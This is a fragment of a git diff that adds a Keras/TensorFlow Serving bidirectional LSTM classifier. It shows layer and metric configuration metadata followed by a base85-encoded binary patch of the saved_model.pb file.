"time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 24}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 25}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 26}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 28, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, null, 20]}, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 29}]}2 +ů +(root.layer_with_weights-1.backward_layer"_tf_keras_rnn_layer*Ż +{"name": "backward_lstm", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTM", "config": {"name": "backward_lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": true, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 30}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 31}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 32}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 34, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, null, 20]}, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 35}]}2 +ţ5,root.layer_with_weights-1.forward_layer.cell"_tf_keras_layer*´{"name": "lstm_cell_1", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTMCell", "config": {"name": "lstm_cell_1", "trainable": true, "dtype": "float32", "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 24}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 25}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 26}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 27}2 +˙;-root.layer_with_weights-1.backward_layer.cell"_tf_keras_layer*´{"name": "lstm_cell_2", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTMCell", "config": {"name": "lstm_cell_2", "trainable": true, "dtype": "float32", "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 30}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 31}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 32}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 33}2 +ąProot.keras_api.metrics.0"_tf_keras_metric*‚{"class_name": "Mean", "name": "loss", "dtype": "float32", "config": {"name": "loss", "dtype": "float32"}, "shared_object_id": 36}2 +çQroot.keras_api.metrics.1"_tf_keras_metric*°{"class_name": "MeanMetricWrapper", "name": "accuracy", "dtype": "float32", "config": {"name": "accuracy", "dtype": "float32", "fn": "binary_accuracy"}, "shared_object_id": 15}2 +ÓRroot.keras_api.metrics.2"_tf_keras_metric*ś{"class_name": "FalseNegatives", "name": "fn", "dtype": "float32", "config": {"name": "fn", "dtype": "float32", "thresholds": null}, "shared_object_id": 16}2 +ÓSroot.keras_api.metrics.3"_tf_keras_metric*ś{"class_name": "FalsePositives", "name": "fp", "dtype": "float32", "config": {"name": "fp", "dtype": "float32", "thresholds": null}, "shared_object_id": 17}2 +ŇTroot.keras_api.metrics.4"_tf_keras_metric*›{"class_name": "TrueNegatives", "name": "tn", "dtype": "float32", "config": {"name": "tn", "dtype": "float32", "thresholds": null}, "shared_object_id": 18}2 +ŇUroot.keras_api.metrics.5"_tf_keras_metric*›{"class_name": "TruePositives", "name": "tp", "dtype": "float32", "config": {"name": "tp", "dtype": "float32", "thresholds": null}, "shared_object_id": 19}2 +ýVroot.keras_api.metrics.6"_tf_keras_metric*Ć{"class_name": "Precision", "name": "precision", "dtype": "float32", "config": {"name": "precision", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 20}2 +ôWroot.keras_api.metrics.7"_tf_keras_metric*˝{"class_name": "Recall", "name": "recall", "dtype": "float32", "config": {"name": "recall", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 21}2 \ No newline at end of file diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb b/cmd/tensorflow-serving/models/bilstm_model/1/saved_model.pb new file mode 100644 index 0000000000000000000000000000000000000000..10d763e855340524e7a184f6ffd27d2608129368 GIT binary patch literal 6032087 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%0Ax2X3rK>BHx8a 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 